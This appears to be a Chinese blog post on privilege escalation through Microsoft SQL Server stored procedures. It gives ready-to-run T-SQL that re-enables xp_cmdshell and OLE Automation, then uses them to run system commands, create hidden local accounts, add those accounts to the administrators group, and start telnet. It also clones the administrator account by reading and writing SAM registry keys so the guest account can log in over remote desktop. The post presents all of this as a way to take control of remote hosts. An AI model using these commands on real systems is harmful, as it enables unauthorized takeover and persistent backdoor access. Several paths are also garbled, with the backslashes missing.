• jQuery火箭图标返回顶部代码


    1.关于 “xp_cmdshell

    “存储过程”:其实质就是一个“集合”,那么是什么样的结合呢,就是存储在SqlServer中预先定义好的“SQL语句集合”,说的更直白一些就是使用T-SQL语言编写好的各种小脚本共同组成的集合体,我们称之为“存储过程”。

      而存储过程中的这些小脚本中,其危险性最高的“小脚本”就是扩展存储过程中的“xp_cmdshell脚本”,它可以执行操作系统的任何指令。

        如果我们能够获取SA的管理员权限,我们就可以使用SA的管理权限可以直接执行扩展存储过程中的“xp_cmdshell脚本”,并获得返回值。

    2. 利用 xp_cmdshell 存储过程

    EXEC master.dbo.xp_cmdshell 'ipconfig'

     

    xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。

     

     

    开启xp_cmdshell

    exec sp_configure 'show advanced options', 1;reconfigure;
    
    exec sp_configure 'xp_cmdshell',1;reconfigure;

    关闭xp_cmdshell

    exec sp_configure 'show advanced options', 1;reconfigure;
    
    exec sp_configure 'xp_cmdshell', 0;reconfigure

    除了xp_cmdshell还有操作注册表的存储过程

    复制代码
    xp_regaddmultistring
    
    xp_regdeletekey //删除键
    
    xp_regdeletevalue //删除值
    
    xp_regenumkeys
    
    xp_regenumvalues //返回多个值
    
    xp_regread //读取键值
    
    xp_regremovemultistring
    
    xp_regwrite //写入键值 
    
    控制服务的xp_servicecontrol
    
    开启telnet服务
    
    execmaster..xp_servicecontrol 'start', 'tlntsvr'
    复制代码

    OLE相关存储过程添加账户

    OLE 这系列的存储过程有

    sp_OACreatesp_OADestroysp_OAGetErrorInfosp_OAGetPropertysp_OAMethodsp_OASetPropertysp_OAStop

    具体的使用方法如下。

    1.1. 添加test账号;

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c net user 123 123 /add'

    注意:有关cmd.exe的物理路径要依据具体的操作系统来确定。如果报错的话,先打开

    在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权

     
    首先要打开sp_oacreate,2005是默认关闭的
     
    EXEC sp_configure 'show advanced options', 1;  
    RECONFIGURE WITH OVERRIDE;  
    EXEC sp_configure 'Ole Automation Procedures', 1;  
    RECONFIGURE WITH OVERRIDE;  
    EXEC sp_configure 'show advanced options', 0;

    1.2. 将123账号添加到administrators超级管理组

    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c net localgroup administrators 123/add'

    复制代码
    xp2003系统:
     
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c net user 123$ 123/add'
    declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c net localgroup administrators 123$ /add'
    复制代码

    2.  xp_regread & xp_regwrite克隆账号

    获取administrator账号的加密密码

    xp_regread 'HKEY_LOCAL_MACHINE','SAMSAMDomainsAccountUsers00001F4','F'

    将刚刚获取的0x…开头的value值赋值给guest账号;

     

    xp_regwrite 'HKEY_LOCAL_MACHINE','SAMSAMDomainsAccountUsers00001F5','F','reg_binary',0x......

    使用guest账号登录远程桌面管理

    注意:此条件的使用需要guest 用户在“远程桌面用户组”,否则出现不允许远程登录的情况;

    针对此问题,我们尝试将guest用户添加到“administrators”组或者“Remote Desktop Users”。

     

     


     

    MSSQL存储过程利用小结

    我们可以调用的存储过程小脚本有三类:

    1. xp_cmdshell
    
    2. OLE相关存储过程
    
    3. xp_regread  xp_regwrite

     存储过程利用方法

    1. xp_cmdshell存储过程 与 OLE相关存储过程利用

    由于xp_cmdshell 存储与OLE相关存储过程可以直接调系统层面的命令,故我们可以直接构造语句进行系统账号的添加,来实现对远程主机的入侵控制;


    2. xp_regread 与 xp_regwrite利用

    利用xp_regread 与 xp_regwrite两个存储过程脚本可以直接读取与写入注册表,所以我们可以利用这个两个存过过程来实现对“远程主机”的administrator超级管理员账号进行克隆,从而实现对目标主机的控制。

    但是同时注意,这种利用方法存在一定的局限性,具体局限性有以下几点:

    1) guest账户需要被启用;

    2) guest 账户需要在“Remote Desktop Users”


    如果缺少了以上条件,guest账户都无法远程登录目标主机,有关于guest账户的启用与远程桌面用户组的添加语句罗列如下。

    exec master..xp_cmdshell net user guest /active:yes
    
    exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" a /add'
  • 相关阅读:
    RedisTemplate实现事物问题剖析和解决
    PO BO VO DTO POJO DAO概念及其作用(附转换图)
    Java 应用程序设计规范
    Java web url 规范
    Java 中 Map与JavaBean实体类之间的相互转化
    使用Java 8中的Stream
    [转]http://lua-users.org/wiki/LpegTutorial
    [转]LUA元表
    LPEG
    [转]LUA 学习笔记
  • 原文地址:https://www.cnblogs.com/kuaile1314/p/11716874.html
Copyright © 2020-2023  润新知